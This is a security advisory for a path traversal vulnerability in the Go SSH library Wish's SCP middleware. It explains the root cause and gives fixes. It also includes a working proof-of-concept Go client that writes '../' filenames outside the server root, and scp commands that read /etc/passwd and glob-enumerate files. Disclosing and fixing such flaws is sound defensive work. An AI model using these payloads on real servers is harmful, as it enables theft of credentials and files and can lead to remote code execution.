Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
9.6

Wish allows attackers to read or write any file

GHSA-xjvp-7243-rg9h
Summary

A vulnerability in Wish allows malicious users to read or write any file on the server by sending special file names. This can happen if you are using Wish version 2 or possibly version 1. To protect your data, update to a fixed version of Wish as soon as possible.

What to do
  • Update charm.land wish to version 2.0.1.
Affected software
Ecosystem VendorProductAffected versions
go charm.land wish < 2.0.1
Fix: upgrade to 2.0.1
go github.com charmbracelet <= 1.4.7
Original title
Wish has SCP Path Traversal that allows arbitrary file read/write
Original description
## Summary

The SCP middleware in `charm.land/wish/v2` is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing `../` sequences over the SCP protocol.

## Affected Versions

- `charm.land/wish/v2` — all versions through commit `72d67e6` (current `main`)
- `github.com/charmbracelet/wish` — likely all v1 versions (same code pattern)

## Details

### Root Cause

The `fileSystemHandler.prefixed()` method in `scp/filesystem.go:42-48` is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:

```go
func (h *fileSystemHandler) prefixed(path string) string {
path = filepath.Clean(path)
if strings.HasPrefix(path, h.root) {
return path
}
return filepath.Join(h.root, path)
}
```

When `path` contains `../` components, `filepath.Clean` resolves them but does not reject them. The subsequent `filepath.Join(h.root, path)` produces a path that escapes the root directory.

### Attack Vector 1: Arbitrary File Write (scp -t)

When receiving files from a client (`scp -t`), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:

```go
reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)
```

The captured filename is used directly in `filepath.Join(path, name)` without sanitization (`scp/copy_from_client.go:90,140`), then passed to `fileSystemHandler.Write()` and `fileSystemHandler.Mkdir()`, which call `prefixed()` — allowing the attacker to write files and create directories anywhere on the filesystem.

### Attack Vector 2: Arbitrary File Read (scp -f)

When sending files to a client (`scp -f`), the requested path comes from the SSH command arguments (`scp/scp.go:284`). This path is passed to `handler.Glob()`, `handler.NewFileEntry()`, and `handler.NewDirEntry()`, all of which call `prefixed()` — allowing the attacker to read any file accessible to the server process.

### Attack Vector 3: File Enumeration via Glob

The `Glob` method passes user input containing glob metacharacters (`*`, `?`, `[`) to `filepath.Glob` after `prefixed()`, enabling enumeration of files outside the root.

## Proof of Concept

All three vectors were validated with end-to-end integration tests against a real SSH server using the public `wish` and `scp` APIs.

### Vulnerable Server

Any server using `scp.NewFileSystemHandler` with `scp.Middleware` is affected. This is the pattern shown in the official `examples/scp` example:

```go
package main

import (
"net"

"charm.land/wish/v2"
"charm.land/wish/v2/scp"
"github.com/charmbracelet/ssh"
)

func main() {
handler := scp.NewFileSystemHandler("/srv/data")
s, _ := wish.NewServer(
wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
wish.WithMiddleware(scp.Middleware(handler, handler)),
// Default: accepts all connections (no auth configured)
)
s.ListenAndServe()
}
```

### Write Traversal — Write arbitrary files outside /srv/data

An attacker crafts SCP protocol messages with `../` in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to `/tmp/pwned`:

```go
package main

import (
"fmt"
"os"

gossh "golang.org/x/crypto/ssh"
)

func main() {
config := &gossh.ClientConfig{
User: "attacker",
Auth: []gossh.AuthMethod{gossh.Password("anything")},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
client, _ := gossh.Dial("tcp", "target:2222", config)
session, _ := client.NewSession()

// Pipe crafted SCP protocol data into stdin
stdin, _ := session.StdinPipe()
go func() {
// Wait for server's NULL ack, then send traversal payload
buf := make([]byte, 1)
session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack

// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
// Wait for ack
stdin.Write([]byte("hello world\n"))
stdin.Write([]byte{0}) // NULL terminator
stdin.Close()
}()

// Tell the server we're uploading to "."
session.Run("scp -t .")
}
```

Or equivalently using standard `scp` with a symlink trick, or by patching the openssh `scp` client to send a crafted filename.

### Read Traversal — Read arbitrary files outside /srv/data

No custom tooling needed. Standard `scp` passes the path directly:

```bash
# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd
```

The server resolves `../../../etc/passwd` through `prefixed()`:
1. `filepath.Clean("../../../etc/passwd")` → `"../../../etc/passwd"`
2. Not prefixed with `/srv/data`, so: `filepath.Join("/srv/data", "../../../etc/passwd")` → `"/etc/passwd"`
3. File contents of `/etc/passwd` are sent to the attacker.

### Glob Traversal — Enumerate and read files outside /srv/data

```bash
scp -P 2222 attacker@target:'../../../etc/pass*' ./
```

### Validated Test Output

These were confirmed with integration tests using `wish.NewServer`, `scp.Middleware`, and `scp.NewFileSystemHandler` against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:

```
=== RUN TestPathTraversalWrite
PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite

=== RUN TestPathTraversalWriteRecursiveDir
PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir

=== RUN TestPathTraversalRead
PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead

=== RUN TestPathTraversalGlob
PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob
```

Tests used the real SSH handshake via `golang.org/x/crypto/ssh`, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.

## Impact

An authenticated SSH user can:

- **Write arbitrary files** anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH `authorized_keys`, shell profiles, or systemd units.
- **Read arbitrary files** accessible to the server process, including `/etc/shadow`, private keys, database credentials, and application secrets.
- **Create arbitrary directories** on the filesystem.
- **Enumerate files** outside the root via glob patterns.

If the server uses the default authentication configuration (which accepts all connections — see `wish.go:19`), these attacks are exploitable by unauthenticated remote attackers.

## Remediation

### Fix `prefixed()` to enforce root containment

```go
func (h *fileSystemHandler) prefixed(path string) (string, error) {
// Force path to be relative by prepending /
joined := filepath.Join(h.root, filepath.Clean("/"+path))
// Verify the result is still within root
if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
}
return joined, nil
}
```

### Sanitize filenames in `copy_from_client.go`

SCP filenames should never contain path separators or `..` components:

```go
name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
return fmt.Errorf("invalid filename: %q", name)
}
```

### Validate `info.Path` in `GetInfo` or at the middleware entry point

```go
info.Path = filepath.Clean("/" + info.Path)
```

## Credit

Evan MORVAN (evnsh) — [email protected] (Research)
Claude Haiku (formatting the report)
ghsa CVSS3.1 9.6
Vulnerability type
CWE-22 Path Traversal
Published: 18 Apr 2026 · Updated: 18 Apr 2026 · First seen: 18 Apr 2026